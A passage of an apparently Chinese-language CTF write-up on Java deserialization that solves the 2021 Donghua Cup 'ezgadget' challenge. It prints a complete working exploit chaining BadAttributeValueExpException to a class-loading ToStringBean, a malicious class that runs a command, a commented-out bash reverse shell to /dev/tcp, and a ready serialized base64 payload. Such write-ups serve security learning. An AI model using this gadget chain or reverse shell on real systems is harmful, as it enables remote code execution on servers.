unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC链家族

贴一张总结的图片(应该没总结错吧hhh)

2da35ecd0e1199142cb422a9d4cbc0c6.png

2021东华杯 ezgadget

下载源码反编译一下,看一下逻辑

@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}

@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}

可以看到在readobject路由,当传完一个gadgets2021后就会触发反序列化,然后看下有没有可以用的类

public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;

public String toString() {
org.example.tools.ToStringBean toStringBean = new org.example.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}

tools里面存在一个ToStringBean类,它的toString方法可以加载任意字节码,所以现在思路就是找一个类来触发ToStringBean.toString,而在CC5中存在BadAttributeValueExpException.readObject触发TiedMapEnty.toString,因此最终思路是BadAttributeValueExpException.readObject->ToStringBean.toString,编写exp如下

package com.ezgame.ctf;
// 包名记得搞对
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
// BadAttributeValueExpException.readObject->ToStringBean.toString
ToStringBean toStringBean = new ToStringBean();

Class tc = toStringBean.getClass();
Field classByte = tc.getDeclaredField("ClassByte");
classByte.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/ezgame/ctf/Payload.class"));
classByte.set(toStringBean,code);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1111);

// 防止在BadAttributeValueExpException初始化的时候就调ToStringBean.toString
Class bc = badAttributeValueExpException.getClass();
Field val = bc.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Tools.base64Encode(payloadBytes);
System.out.println(payload);
// serialize(badAttributeValueExpException);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

恶意类(因为我在win下起服务复现的,直接尝试弹了下计算器)

package com.ezgame.ctf;

import java.io.IOException;

public class Payload {
static {
try {
Runtime.getRuntime().exec("calc");
// Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/7777 0>&1"});
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

最终payload(记得url编码一下)

data=rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAF3QAEmNvbS5lemdhbWUuY3RmLkV4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAKryv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL2V6Z2FtZS9jdGYvUGF5bG9hZDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEADFBheWxvYWQuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEAFmNvbS9lemdhbWUvY3RmL1BheWxvYWQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQAMAAwACgANAAsAFgANAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc%3D